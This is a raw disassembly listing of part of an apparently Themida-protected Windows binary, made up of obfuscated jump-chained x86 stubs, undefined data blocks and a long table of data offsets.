		jmp	loc_5504DE
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 3DAE904h, 0C2830000h, 848CE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550CB6:				; CODE XREF: Themida_:00545863j
		push	eax
		jmp	loc_54805E
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 48F0000h,	5DE924h, 875F0000h, 248B241Ch
		dd 240CD324h, 3E34E99Ch, 8966FFFFh, 2BE9240Ch, 0C0FFFF3Eh
		dd 0EA8003EAh, 5AD588BFh, 2EF16866h, 240C8966h,	0FFA5F8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550CFD:				; CODE XREF: Themida_:0054A5F3j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	41A4h
		jmp	loc_546DCB
; ---------------------------------------------------------------------------

loc_550D14:				; CODE XREF: Themida_:00549AD9j
		xor	edx, 6A5C51FFh
		jmp	loc_54D963
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D32424h, 17E99C24h, 81FFFFF7h, 42404h, 48F0000h, 4EC8324h
		dd 0BE243489h, 4, 0FF7258E9h, 98E959FFh, 81FFFF4Fh, 523B07C2h
		dd 12CA816Eh, 57115267h, 22D0BA52h, 0D7892ECDh,	0BDBB535Ah
		dd 815CC36Eh, 0E373ABF3h, 94E3E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D72:				; CODE XREF: Themida_:005450E0j
		mov	edx, [esp]
		add	esp, 4
		sub	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_5509B9
; ---------------------------------------------------------------------------

loc_550D88:				; CODE XREF: Themida_:00549066j
		xor	edx, 0E7772C87h
		add	eax, edx
		pop	edx
		push	ebp
		mov	ebp, 4
		sub	eax, 5F590F9Bh
		add	eax, ebp
		add	eax, 5F590F9Bh
		mov	ebp, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5505AF
; ---------------------------------------------------------------------------
		dd 0E749E95Fh, 735FFFFh, 2D41691Fh, 0EF1BC485h,	18E9C689h
		dd 50FFFF82h, 0FFCDF6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550DD1:				; CODE XREF: Themida_:00547C6Ej
		add	esp, 4
		add	edi, 4
		jmp	loc_54AB87
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFF3D2Eh
; ---------------------------------------------------------------------------

loc_550DE4:				; CODE XREF: Themida_:00548DD5j
		jz	loc_544F4D
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	esi
		mov	esi, 668A2565h
		push	ebp
		jmp	loc_546848
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 92BB5351h, 897A4A1Ch, 0B1E95BD9h, 1FFFFF8h, 921FE9C6h
		dd 0A105FFFFh, 8B05692Ch, 57E9242Ch, 0FFFFFFE9h, 34FF2434h
		dd 0BFE95924h, 89FFFF63h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 555B685Ch, 3C890000h, 2BF24h, 0FD010000h, 0D07CE95Fh
		dd 815AFFFFh, 0F9ECE0C6h, 5EF32954h, 0C381FB01h, 55B11053h
		dd 5F2434FFh, 0FFCB99E9h, 472368FFh, 34E90000h,	0FFFFFF80h
		dd 56582434h, 0C681E689h, 4, 274768h, 240C8900h, 19E4B850h
		dd 0E9555310h, 0FFFFE424h, 8B2434FFh, 0C4812404h, 4, 81595451h
		dd 4C1h, 66E95000h, 89FFFF7Eh, 635BE9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550EC2:				; CODE XREF: Themida_:0054EC1Dj
		mov	[esp], ebp
		mov	ebp, esp
		push	6FA7h
		jmp	loc_54825A
; ---------------------------------------------------------------------------
		db 51h,	0FFh, 0Ch
		dd 0F1815924h, 723C5A52h, 0E906E1C1h, 0FFFFF1A6h, 0AAFBE953h
		dd 48BFFFFh, 4C48124h, 81000000h, 0B1A97FF6h, 1C77219Fh
		dd 8324348Bh, 0BE904C4h, 0E9FFFF3Ch, 0FFFF3C06h, 9663E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F12:				; CODE XREF: Themida_:00547B67j
		push	eax
		jmp	loc_54CB54
; ---------------------------------------------------------------------------
		dd 56D831ADh, 0BB53E689h, 5B645153h, 77F2EB81h,	26E9179Ch
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F2F:				; CODE XREF: Themida_:00549E06j
		mov	eax, 16EE23A2h
		mov	edx, 16EE23A3h
		jmp	loc_54DFA3
; ---------------------------------------------------------------------------

loc_550F3E:				; CODE XREF: Themida_:00546E67j
		pop	edi
		push	edx
		xor	dword ptr [esp], 3ADC283Eh
		pop	esi
		jmp	loc_546B99
; ---------------------------------------------------------------------------

loc_550F4D:				; CODE XREF: Themida_:005508E1j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_549C26
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 41h
		dd 53FFFFA0h, 0C381E389h, 4, 8704C383h,	248B241Ch, 0D9A4E924h
		dd 4BAFFFFh, 0E9000000h, 0FFFFB663h, 512D68h, 0B5FFE900h
		dd 1C89FFFFh, 386824h, 15B0000h, 0C5E950D3h, 54FFFFEBh
		dd 5E2434FFh, 57E68956h, 0FF79FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550FB9:				; CODE XREF: Themida_:0054C6E5j
		sub	edi, eax
		add	edi, 1E5B00F1h
		jmp	loc_548089
; ---------------------------------------------------------------------------
		dw 5146h
		dd 6D2D31B9h, 8E9C129h,	4F6CE981h, 0CE09DC5Dh, 94C68159h
		dd 29A7D078h, 970FE9F5h, 0C789FFFFh, 97055A58h,	14C1C3Bh
		dd 3B972DF8h, 15F4C1Ch,	27B2DD8h, 0A4687290h, 89000044h
		dd 4EBE2434h, 1706D4Ch,	24348BF0h, 6804C483h, 29CBh, 89243C89h
		dd 76BD55E7h, 81105778h, 577872F5h, 0E73FE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55102E:				; CODE XREF: Themida_:0054C4FDj
		push	ebx
		jmp	loc_54D112
; ---------------------------------------------------------------------------
		dd 0F604C483h, 35F580DDh, 0E904EDC0h, 0FFFF94ABh, 0E8AEEF81h
		dd 0FCE91FC4h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55104F:				; CODE XREF: Themida_:005478C2j
		add	ebp, ebx
		jmp	loc_54BA8F
; ---------------------------------------------------------------------------
		dw 0AE68h
		dd 89000062h, 0C0682414h, 5A13D214h, 0EDBBC281h, 3E95EBDh
		dd 68FFFFD9h, 47AAh, 54241489h,	4C2815Ah, 83000000h, 0E95204C2h
		dd 0FFFFF2F6h, 513368h,	0F535E900h, 4BFFFFFh, 89000000h
		dd 0CA295FF9h, 74FF5259h, 8F5A0424h, 248B2404h,	242C8924h
		dd 0E3441DBDh, 0DE38E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5510B6:				; CODE XREF: Themida_:00548F3Aj
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 80h
		dd 0B6520CEBh, 80D6F68Ah, 0F300EBEEh, 79B0505Ah, 0F58C328h
		dd 34FFC0B6h, 51906887h, 34890000h, 68C66824h, 0C890000h
		dd 6E4B924h, 0CE893875h, 0E9240C8Bh, 0FFFFEA48h, 28B6664h
		dd 346D6866h, 24048966h, 0FF3A05E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55110D:				; CODE XREF: Themida_:0054A3E3j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	69C3h
		mov	[esp], ebp
		mov	ebp, 40DC5588h
		jmp	loc_54FF87
; ---------------------------------------------------------------------------
		db 68h
		dd 6F85h, 0E9240C89h, 0FFFF5FA5h, 5489B951h, 0E981042Bh
		dd 4DA7CF6h, 0CC84E941h, 481FFFFh, 0FB738B24h, 240C8B1Bh
		dd 5504C483h, 5E3A3868h, 0B8E95D64h, 0F7FFFF9Dh, 4E181D1h
		dd 0E96CBA7Ah, 0FFFF3C4Ah, 52FAB951h, 0C8292C60h, 7CE96859h
		dd 0ECE90000h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551183:				; CODE XREF: Themida_:00546F3Fj
		mov	[esp], ebp
		push	edi
		jmp	loc_545AB1
; ---------------------------------------------------------------------------
		dd 2004D0F6h, 6658C228h, 0C041E951h, 2489FFFFh,	24048124h
		dd 4, 0B8B7E95Ah, 815AFFFFh, 4C04246Ch,	0E9230D26h, 0FFFFE735h
; ---------------------------------------------------------------------------

loc_5511B8:				; CODE XREF: Themida_:0054ED58j
		push	ecx
		mov	ecx, 2EB370E3h
		inc	ecx
		jmp	loc_54FA65
; ---------------------------------------------------------------------------
aITZ		db 'К',8,'[Tц',27h,'Z',0
		dd offset dword_5A1C50
		dd 5FCBh, 0FA0BCD6Fh, 5FCBh, 0
		dd 217h, 2, 1, 5, 0FA0BCD6Fh, 5	dup(0)
		dd offset byte_560F31
		dd offset byte_554B11
		dd offset byte_565C27
		dd offset byte_5581FB
		dd offset word_563476
		dd offset byte_558499
		dd offset byte_552509
		dd offset word_55E3C6
		dd offset word_56604A
		dd offset word_565802
		dd offset aWhg		; "Whg="
		dd offset byte_558BA5
		dd offset byte_551CA7
		dd offset byte_555B05
		dd offset word_55B592
		dd offset byte_5597BF
		dd offset byte_5595ED
		dd offset byte_55C105
		dd offset word_5518FA
		dd offset byte_5609F1
		dd offset word_55E646
		dd offset dword_55CDF0
		dd offset byte_55774F
		dd offset dword_55C87C
		dd offset byte_55F629
		dd offset dword_5585CC
		dd offset dword_55F4DC
		dd offset byte_562031
		dd offset word_558586
		dd offset byte_5648ED
		dd offset aMsL		; "╛Ипl"
		dd offset byte_557549
		dd offset word_5625D6
		dd offset dword_552D00
		dd offset byte_55382B
		dd offset dword_55B434
		dd offset word_55F6AE
		dd offset byte_563B3F
		dd offset dword_557804
		dd offset dword_557400
		dd offset byte_55A6C3
		dd offset word_55970E
		dd offset dword_565E74
		dd offset dword_561DC4
		dd offset byte_565E45
		dd offset dword_556E54
		dd offset dword_556414
		dd offset word_5655EA
		dd offset dword_55F3A4
		dd offset byte_55EE33
		dd offset word_56540E
		dd offset byte_556213
		dd offset dword_5545BC
		dd offset word_56686A
		dd offset byte_556141
		dd offset aNh		; "╜hм<"
		dd offset byte_561AF7
		dd offset byte_55CF49
		dd offset byte_554613
		dd offset dword_556DE4
		dd offset dword_562BA8
		dd offset word_55FA02
		dd offset aMhp		; "╛h╞>"
		dd offset byte_553B67
		dd offset word_565A62
		dd offset dword_55CA84
		dd offset byte_5636CD
		dd offset word_554256
		dd offset byte_554C7B
		dd offset byte_563903
		dd offset word_5555D6
		dd offset byte_560A8F
		dd offset dword_55B544
		dd offset byte_55D5D3
		dd offset byte_55D80F
		dd offset word_566542
		dd offset word_553166
		dd offset byte_562CE7
		dd offset byte_5666EF
		dd offset byte_56052D
		dd offset byte_562FA9
		dd offset aM0Hx		; "╛0ьh∙<"
		dd offset dword_563244
		dd offset word_564566
		dd offset byte_56315F
		dd offset byte_55CEA5
		dd offset aN1Sgc	; "╜1ьИg√"
		dd offset word_55F402
		dd offset byte_55BDC1
		dd offset dword_55C9D0
		dd offset byte_5534EB
		dd offset word_55B8BA
		dd offset dword_55415C
		dd offset dword_555DD8
		dd offset aLShs		; "▀$$ИH≤"
		dd offset byte_552B39
		dd offset word_56671E
		dd offset byte_56436F
		dd offset byte_5565C1
		dd offset word_554F8E
		dd offset byte_55CFBD
		dd offset word_55B0C2
		dd offset word_55A7A6
		dd offset byte_55978D
		dd offset dword_553960
		dd offset word_55D9E6
		dd offset aFnssA	; "f╜SИиA"
		dd offset byte_561D47
		dd offset dword_55DA7C
		dd offset word_563B6A
		dd offset byte_5536A5
		dd offset dword_55F290
		dd offset dword_557CB0
		dd offset byte_558B87
		dd offset byte_55A739
		dd offset byte_5660A9
		dd offset byte_564289
		dd offset dword_55F3E4
		dd offset byte_556CF1
		dd offset byte_5661D1
		dd offset word_56605A
		dd offset byte_556AE7
		dd offset word_552C82
		dd offset byte_565471
		dd offset aNs3		; "╜И3╪"
		dd offset byte_562305
		dd offset word_5591FA
		dd offset word_55E4D2
		dd offset off_557435
		dd offset byte_562AD7
		dd offset byte_55887B
		dd offset byte_55B68D
		dd offset dword_55CA7C
		dd offset byte_55A1BF
		dd offset word_564AD2
		dd offset word_55A0E6
		dd offset word_564036
		dd offset byte_55D861
		dd offset byte_55D9EF
		dd offset byte_561A05
		dd offset word_565CEE
		dd offset word_563956
		dd offset dword_564390
		dd offset byte_55D72D
		dd offset dword_55F0C0
		dd offset byte_55F049
		dd offset byte_561667
		dd offset byte_565E97
		dd offset byte_561471
		dd offset byte_55AD0F
		dd offset byte_5522EB
		dd offset word_55C9A2
		dd offset byte_55F61D
		dd offset byte_555F3D
		dd offset byte_5623E3
		dd offset byte_561ECB
		dd offset byte_55AE4F
		dd offset dword_5529F4
		dd offset aNsI		; "╜Ищ┴"
		dd offset byte_55195D
		dd offset dword_55A5B4
		dd offset byte_5530FD
		dd offset aM0Sg_	; "╛0ьИG_"
		dd offset byte_55569B
		dd offset word_5608A2
		dd offset dword_55B248
		dd offset dword_55F6FC
; ---------------------------------------------------------------------------

loc_5514A4:				; CODE XREF: Themida_:005980F0j
					; Themida_:0059B4BEj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 649473Dh
		mov	eax, edi
		add	edi, 6494455h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5514C2
		jmp	short loc_5514D5
; ---------------------------------------------------------------------------

loc_5514C2:				; CODE XREF: Themida_:005514BEj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5514D1
; ---------------------------------------------------------------------------

loc_5514CC:				; CODE XREF: Themida_:005514D3j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_5514D1:				; CODE XREF: Themida_:005514CAj
		or	ecx, ecx
		jnz	short loc_5514CC

loc_5514D5:				; CODE XREF: Themida_:005514C0j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_5514E2:				; CODE XREF: Themida_:005514E9j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5514E2

loc_5514EB:				; CODE XREF: Themida_:005518F5j
					; Themida_:loc_5527F9j	...
		lodsb
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_564578
; ---------------------------------------------------------------------------

loc_5514FE:				; CODE XREF: Themida_:005606B2j
		sub	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55C121
; ---------------------------------------------------------------------------
		db 89h
		dd 6853242Ch, 2B56695Ch, 2A08E95Bh, 0EE830001h,	24348704h
		dd 673E95Ch, 57590001h,	3040E951h, 0C15E0001h, 6EE907E7h
		dd 81000047h, 42404h, 835B0000h, 9FE904ECh, 0FF00009Ch
		dd 815B2434h, 4C4h, 58C20100h, 40BE68h,	242C8900h, 2BA52h
		dd 5D520000h, 0A4C2815Ah, 1694068h, 89B951EAh, 0C1673F2Eh
		dd 0F18106E1h, 0A68BCAE4h, 5D59CA29h, 31241433h, 14332414h
		dd 24248B24h, 24048B66h, 0DD14E950h, 0E9550000h, 4CC3h
		dd 2474FF53h, 241C8B04h, 0C50FE9h, 4C48100h, 0E9000000h
		dd 0E460h, 241C8B66h, 2C481h, 0A8040000h, 0F7E98004h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5515C7:				; CODE XREF: Themida_:0055F220j
		pop	edx
		jmp	loc_559152
; ---------------------------------------------------------------------------
		db 0B2h, 0CDh, 0
		dd 0E3005AD4h, 80CB2858h, 9CE994EBh, 53000082h,	2C68EF88h
		dd 89000021h, 0F988240Ch, 2EE9CA88h, 34000096h,	4B01E9F0h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5515FA:				; CODE XREF: Themida_:00562B75j
		and	eax, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5573E9
; ---------------------------------------------------------------------------
		db 80h
		dd 665A76ECh, 0E9DFB450h, 1336h, 772F6850h, 0C158143Eh
		dd 0E90503E0h, 8968F492h, 0D70158C2h, 8124148Bh, 4C4h
		dd 42F78100h, 0C173834Eh, 0C78104EFh, 52B60FC4h, 815FFB01h
		dd 0E818B8C3h, 0B4E95602h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55164F:				; CODE XREF: Themida_:005666ACj
		push	ebx
		push	eax
		mov	al, dl
		jmp	loc_5623B1
; ---------------------------------------------------------------------------

loc_551658:				; CODE XREF: Themida_:00563016j
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 604D113Bh
		jmp	loc_55EE63
; ---------------------------------------------------------------------------

loc_551669:				; CODE XREF: Themida_:005663D4j
		mov	eax, [esp]
		jmp	loc_55B428
; ---------------------------------------------------------------------------

loc_551671:				; CODE XREF: Themida_:0055A959j
		push	edx
		push	773Fh
		mov	[esp], eax
		mov	eax, 771B03DBh
		neg	eax
		jmp	loc_555E21
; ---------------------------------------------------------------------------

loc_551686:				; CODE XREF: Themida_:005642FCj
		mov	esi, 35172632h
		jmp	loc_55DB2B
; ---------------------------------------------------------------------------
		dd 0F1005B66h, 0AB1CE9h, 5D80100h, 7FF600C0h, 2404335Bh
		dd 33240431h, 0E95C2404h, 0FFFFFE3Bh, 52509EB3h, 0AA71E9h
		dd 241C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_552DC7
; ---------------------------------------------------------------------------

loc_5516DD:				; CODE XREF: Themida_:00551764j
		pop	eax
		add	esp, 4
		push	2F7Dh
		mov	[esp], edx
		push	edi
		push	214339C4h
		jmp	loc_5570BE
; ---------------------------------------------------------------------------
		dd 2A31EF81h, 0FA0130C2h, 0EB9EE95Fh, 0EC830000h, 24048904h
		dd 8904EC83h, 0AE68241Ch, 5B2EDF02h, 19C5B850h,	0BE5625D1h
		dd 4A731B5Dh, 2D5EF029h, 0AC7EFBBEh, 8958C331h,	0C5015BD8h
		dd 582434FFh, 40ACE953h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55173A:				; CODE XREF: Themida_:00553F20j
		xor	ecx, 69497E30h
		push	edx
		mov	edx, ecx
		mov	esi, edx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_552FA2
; ---------------------------------------------------------------------------

loc_55174E:				; CODE XREF: Themida_:0055E711j
		mov	[esp], ebx
		mov	ebx, 1B665E54h
		add	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5516DD
; ---------------------------------------------------------------------------

loc_551769:				; CODE XREF: Themida_:0056414Fj
		sub	al, bl
		jmp	loc_556D03
; ---------------------------------------------------------------------------
		dd 22FFE956h, 348B0000h, 4C48124h, 83000000h, 6C8104C4h
		dd 126E0424h, 5C296FDAh, 5DE90424h
		db 55h,	1, 0
; ---------------------------------------------------------------------------

loc_551793:				; CODE XREF: Themida_:00562E92j
		sub	ebx, 2D9F3429h
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_560E98
; ---------------------------------------------------------------------------
		db 81h
		dd 5E7EAEEBh, 0E9DBF70Fh, 1C54h
; ---------------------------------------------------------------------------

loc_5517B8:				; CODE XREF: Themida_:00566665j
		inc	ebx
		dec	ebx
		add	ebx, 1B422AC6h
		jmp	loc_5622C0
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 67136856h, 815E4A4Ah, 0A24713CEh, 0C3E9513Ch
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5517DB:				; CODE XREF: Themida_:005521DBj
		mov	[esp], edi
		push	6792h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_5558AC
; ---------------------------------------------------------------------------

loc_5517F5:				; CODE XREF: Themida_:0055533Fj
		inc	edx
		add	edx, 0FFC203CDh
		sub	ebp, 936A42h
		add	ebp, edx
		add	ebp, 936A42h
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556E3D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34FF2424h, 54505924h, 40558h, 0AAE90000h, 50000032h
		dd 3355EEB8h, 4815057h,	0BD44F824h, 0ED815D1Ch,	1CBD44F8h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5619A9
; ---------------------------------------------------------------------------

loc_551859:				; CODE XREF: Themida_:00560300j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_557A53
; ---------------------------------------------------------------------------
		dd 0E953C4B2h, 11FB9h
; ---------------------------------------------------------------------------

loc_55186C:				; CODE XREF: Themida_:00557C66j
		pop	eax
		mov	esi, [esp]
		jmp	loc_5571F3
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 4, 0E081E9h
		db 0
; ---------------------------------------------------------------------------

loc_551881:				; CODE XREF: Themida_:00562848j
		mov	[esp], esi
		push	3145h
		mov	[esp], ebp
		mov	ebp, 696F640Fh
		push	ebp
		jmp	loc_566180
; ---------------------------------------------------------------------------
aBiqeS4n	db '│К÷E +И4N',0
		align 2
		dw 0C89h
		dd 51595424h, 0C1815954h, 4, 0AF5DE9h, 240C8B00h, 0E9E38953h
		dd 0D32Bh
; ---------------------------------------------------------------------------

loc_5518C0:				; CODE XREF: Themida_:005602C6j
		not	edi
		push	edx
		mov	edx, 997AF15Bh
		xor	edi, edx
		pop	edx
		jmp	loc_55C5AA
; ---------------------------------------------------------------------------
aLS_0		db '▀,$И°Л',0
		align 4

loc_5518D8:				; CODE XREF: Themida_:0056315Aj
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
word_5518FA	dw 34FFh		; DATA XREF: Themida_:00551250o
		dd 240C8B24h, 5304C483h, 0CE685B54h, 0E900002Ah, 3878h
		dd 41DBC381h, 0C3011C5Bh, 41DBEB81h, 3E91C5Bh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_551923:				; CODE XREF: Themida_:00559F38j
		xor	ebx, 37B5415Fh
		push	4A66h
		mov	[esp], ecx
		push	2FBF2144h
		pop	ecx
		add	ecx, 0D040DEBDh
		mov	[edi+20h], ecx
		push	dword ptr [esp]
		jmp	loc_55F15B
; ---------------------------------------------------------------------------
		dd 0E903E7C1h, 3948h
; ---------------------------------------------------------------------------

loc_551950:				; CODE XREF: Themida_:00558128j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_55ABDE
; ---------------------------------------------------------------------------
byte_55195D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00551484o
aRs_0		db '$RИо╫',0
		db 0
; ---------------------------------------------------------------------------

loc_551967:				; CODE XREF: Themida_:0055680Cj
		add	eax, esi
		add	eax, 18A468F5h
		add	eax, 713B034Eh
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55DA4E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 1E95104h
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55198B:				; CODE XREF: Themida_:005615C9j
		pop	eax
		or	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	eax, 629B5916h
		sub	eax, 153C25E0h
		mov	esi, eax
		pop	eax
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55D6D7
; ---------------------------------------------------------------------------
		dw 0D531h
		dd 0D2F7EA31h, 0C142D2F7h, 0BE5606EAh, 1BBCCF9h, 348BF231h
		dd 4C48324h, 0B643E9h, 242C8900h, 7C1CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5519D9:				; CODE XREF: Themida_:0055D2B5j
		pop	esp
		push	5820h
		mov	[esp], ecx
		push	esp
		jmp	loc_55FDC7
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 26DDE924h, 0F660001h, 5166C8B6h
		dd 0FAE9E99Ch, 8158FFFFh, 75EC13E9h, 1EEE816Ch,	29464763h
		dd 1EC681CEh, 0FF464763h, 0E9592434h, 0E261h, 8B24048Fh
		dd 0EA812424h, 3CB94BE9h, 69F1BE56h, 0F20130B2h, 83C2015Eh
		dd 3C8904ECh, 389A6824h, 2C890000h, 51565324h, 676868B9h
		dd 81E1D164h, 8B6BBDF1h, 81D9F71Bh, 6C5558E9h, 13E98105h
		dd 89C19AAEh, 0BBE959CEh, 81000012h, 8D2FBBF5h,	0B8505157h
		dd 220337AAh, 3158C189h, 0A82D59CDh, 2944D500h,	0A805E8h
		dd 2C8B44D5h, 4C48124h,	2D000000h, 3F476E64h, 296B68h
		dd 241C8900h, 5841BE56h, 0D6F721AAh, 0A1E3EE81h, 0F389870Eh
		dd 8124348Bh, 4C4h, 3D4DE900h, 0E9560000h, 0CF81h
; ---------------------------------------------------------------------------

loc_551AC4:				; CODE XREF: Themida_:00564718j
		mov	ecx, 32283372h
		inc	ecx
		or	ecx, 0CE767C7h
		push	edx
		jmp	loc_559208
; ---------------------------------------------------------------------------

loc_551AD6:				; CODE XREF: Themida_:0055E727j
		xor	eax, [esp]
		jmp	loc_5541DA
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C2424h, 0FFFFFA03h, 42E9E831h, 5E00009Fh, 4C681h
		dd 98680000h, 8900007Eh, 4BA2414h, 81000000h, 8A5B25EEh
		dd 0DDC68165h, 81304D4Bh, 0DF70C0C6h, 81D60102h, 0DF70C0EEh
		dd 0DDEE8102h, 68304D4Bh, 6C21h, 0B8240489h, 64A94696h
		dd 0C102E8C1h, 0BD5508E0h, 0C4C749DBh, 15DE829h, 2A3EE9C6h
		dd 0B2680001h, 8900000Bh, 0FB62414h, 0CE80EED0h, 1EE807Bh
		dd 2CB1B050h, 303F3452h, 0F40058C6h, 8124148Bh,	4C4h, 58E32800h
		dd 0C3005A66h, 4EC81h, 7E90000h, 8B000010h, 0C481241Ch
		dd 4, 0FA52E9h
		db 0
; ---------------------------------------------------------------------------

loc_551B8D:				; CODE XREF: Themida_:005560EAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5600C7
; ---------------------------------------------------------------------------
		dd 52EB8953h, 0D189DA89h, 2434FF5Ah, 0E789575Bh, 4C781h
		dd 0C7810000h, 4, 5C243C87h, 83242C8Bh,	0EEE904C4h, 28000069h
		dd 0F65B66F9h, 0F9B450D9h, 8004ECC0h, 0F4804FE4h, 0B55153F4h
		dd 11B74Eh, 0F316E9EFh,	4050000h, 83000000h, 43304C0h
		dd 24043124h, 0E9240433h, 10C1Ah, 0E9240C87h, 0E6E8h
; ---------------------------------------------------------------------------

loc_551C04:				; CODE XREF: Themida_:00554CB4j
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55BCB2
; ---------------------------------------------------------------------------

loc_551C21:				; CODE XREF: Themida_:00560F71j
		mov	ebx, 67217C26h
		inc	ebx
		jmp	loc_566661
; ---------------------------------------------------------------------------
		dd 52243489h, 0D40F6A68h, 0EAC15A3Ch, 0B2E28103h, 0E927990Dh
		dd 0FCB7h, 0F680DEF6h, 0F6DEF689h, 80DEF6D6h, 0EE80CDEEh
		dd 0EFEE8001h, 148BF130h, 4C48124h, 53000000h, 0D930C6B3h
		dd 4EC815Bh, 89000000h,	0E951241Ch, 0CE71h
; ---------------------------------------------------------------------------

loc_551C78:				; CODE XREF: Themida_:0055F05Aj
		push	edi
		mov	edi, 50491425h
		jmp	loc_55C915
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0ABBA5256h, 5274FC0Eh, 0A21107BAh, 5A5E5279h, 95AD629h
		dd 24348BF3h, 0C104C483h, 63E905EBh
		db 0E3h, 2 dup(0)
byte_551CA7	db 66h			; DATA XREF: Themida_:00551238o
		dd 68240C8Bh, 3392h, 54241489h,	2ECDE9h, 4EC8300h, 52242489h
		dd 4BAh, 24540100h, 0F5E95A04h
		db 2Eh,	1, 0
; ---------------------------------------------------------------------------

loc_551CCF:				; CODE XREF: Themida_:005664F1j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F316
; ---------------------------------------------------------------------------
		dd offset dword_588968
		align 2
		dw 1C89h
		dd 0A5B85024h, 55274065h, 0C36119BDh, 5DE80927h, 0C2DD0F7h
		dd 0D4EF369h, 19F57B1Ch, 16A1E605h, 8BC389C4h, 41E92404h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_551D0F:				; CODE XREF: Themida_:00560468j
		push	eax
		mov	eax, 3EBF67DDh
		jmp	loc_565598
; ---------------------------------------------------------------------------
		dw 0E883h
